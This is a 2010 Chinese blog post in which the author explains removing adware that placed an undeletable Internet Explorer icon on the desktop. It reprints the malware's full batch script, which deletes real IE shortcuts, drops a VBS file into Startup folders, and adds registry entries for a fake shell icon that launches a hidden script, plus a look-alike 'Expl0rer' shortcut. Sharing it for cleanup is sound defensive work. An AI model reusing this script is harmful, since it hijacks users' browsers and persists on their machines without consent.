代码改变世界

一個非技術的問題(我的電腦中毒了,電腦桌面多了一個IE的快捷方式,無論如何也刪除不了)

2010-05-27 00:29  Koy  阅读(425)  评论(0编辑  收藏  举报

在無意中找到了“解毒”的方法,在此與大家分享!

一般是在C:\Program Files\software 裏面(所有都是“無良”文件),其中關鍵文件是 tool.cmd 其全部內容如下:

del  "%USERPROFILE%\Application Data\Microsoft\Internet Explorer\Quick Launch\启动*.*"

del "%USERPROFILE%\桌面\Internet Explorer.lnk"

del "%USERPROFILE%\桌面\Internet.lnk"

del "%USERPROFILE%\Application Data\Microsoft\Internet Explorer\Quick Launch\Internet Explorer.lnk"

copy .\ware.vbs "%ALLUSERSPROFILE%\「开始」菜单\程序\启动\ware.vbs"

copy .\ware.vbs "%USERPROFILE%\「开始」菜单\程序\启动\ware.vbs"

REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoInternetIcon" /t REG_DWORD /d 1 /f

REG ADD "HKEY_CLASSES_ROOT\CLSID\{00000208-0000-0010-8000-00AA006DAAAA}"

REG ADD "HKEY_CLASSES_ROOT\CLSID\{00000208-0000-0010-8000-00AA006DAAAA}" /v "InfoTip" /t REG_SZ /d "@shdoclc.dll,-880" /f

REG ADD "HKEY_CLASSES_ROOT\CLSID\{00000208-0000-0010-8000-00AA006DAAAA}" /v "LocalizedString" /t REG_SZ /d "@shdoclc.dll,-880" /f

REG ADD "HKEY_CLASSES_ROOT\CLSID\{00000208-0000-0010-8000-00AA006DAAAA}\DefaultIcon" 

REG ADD "HKEY_CLASSES_ROOT\CLSID\{00000208-0000-0010-8000-00AA006DAAAA}\DefaultIcon" /ve /t REG_EXPAND_SZ /d "shdoclc.dll,0" /f

REG ADD "HKEY_CLASSES_ROOT\CLSID\{00000208-0000-0010-8000-00AA006DAAAA}\InProcServer32" 

REG ADD "HKEY_CLASSES_ROOT\CLSID\{00000208-0000-0010-8000-00AA006DAAAA}\InProcServer32" /ve /t REG_SZ /d "%%systemRoot%%\system32\shdocvw.dll" /f

REG ADD "HKEY_CLASSES_ROOT\CLSID\{00000208-0000-0010-8000-00AA006DAAAA}\InProcServer32"  /v "ThreadingModel" /t REG_SZ /d "Apartment" /f

REG ADD "HKEY_CLASSES_ROOT\CLSID\{00000208-0000-0010-8000-00AA006DAAAA}\shell" 

REG ADD "HKEY_CLASSES_ROOT\CLSID\{00000208-0000-0010-8000-00AA006DAAAA}\shell" /ve /t REG_SZ /d "打开主页(&H)" /f

REG ADD "HKEY_CLASSES_ROOT\CLSID\{00000208-0000-0010-8000-00AA006DAAAA}\shell\打开主页(&H)" 

REG ADD "HKEY_CLASSES_ROOT\CLSID\{00000208-0000-0010-8000-00AA006DAAAA}\shell\打开主页(&H)" /v "MUIVerb" /t REG_SZ /d "@shdoclc.dll,-10241" /f

REG ADD "HKEY_CLASSES_ROOT\CLSID\{00000208-0000-0010-8000-00AA006DAAAA}\shell\打开主页(&H)\Command" 

REG ADD "HKEY_CLASSES_ROOT\CLSID\{00000208-0000-0010-8000-00AA006DAAAA}\shell\打开主页(&H)\Command" /ve /t REG_SZ /d "wscript.exe c:\progra~1\software\Microsoft\win.vbs" /f

REG ADD "HKEY_CLASSES_ROOT\CLSID\{00000208-0000-0010-8000-00AA006DAAAA}\shell\属性(&R)"

REG ADD "HKEY_CLASSES_ROOT\CLSID\{00000208-0000-0010-8000-00AA006DAAAA}\shell\属性(&R)\Command" 

REG ADD "HKEY_CLASSES_ROOT\CLSID\{00000208-0000-0010-8000-00AA006DAAAA}\shell\属性(&R)\Command"  /ve /t REG_SZ /d "rundll32.exe shell32.dll,Control_RunDLL INETCPL.CPL,,0" /f REG ADD "HKEY_CLASSES_ROOT\CLSID\{00000208-0000-0010-8000-00AA006DAAAA}\ShellFolder" 

REG ADD "HKEY_CLASSES_ROOT\CLSID\{00000208-0000-0010-8000-00AA006DAAAA}\ShellFolder" /v "Attributes" /t REG_DWORD /d 0 /f

REG ADD "HKEY_CLASSES_ROOT\CLSID\{00000208-0000-0010-8000-00AA006DAAAA}\ShellFolder" /v "HideFolderVerbs" /t REG_SZ /d "" /f

REG ADD "HKEY_CLASSES_ROOT\CLSID\{00000208-0000-0010-8000-00AA006DAAAA}\ShellFolder" /v "HideOnDesktopPerUser" /t REG_SZ /d "" /f

REG ADD "HKEY_CLASSES_ROOT\CLSID\{00000208-0000-0010-8000-00AA006DAAAA}\ShellFolder" /v "WantsParsDisplayName" /t REG_SZ /d "" /f

copy ".\Internet Expl0rer.lnk" "%USERPROFILE%\Application Data\Microsoft\Internet Explorer\Quick Launch\Internet Expl0rer.lnk"

copy ".\Internet Expl0rer.lnk" "%USERPROFILE%\桌面\Internet Expl0rer.lnk"

 


另外還有一個備份在C:\Program Files\C8524.exe(要看到這個文件,必須打開系統文件的隱藏設置)

當你看到以上藍色字體的內容時,你就明白桌面爲什麽會多一個IE圖標,爲什麽刪除不了,如何清除它!希望對大家有幫助!!!!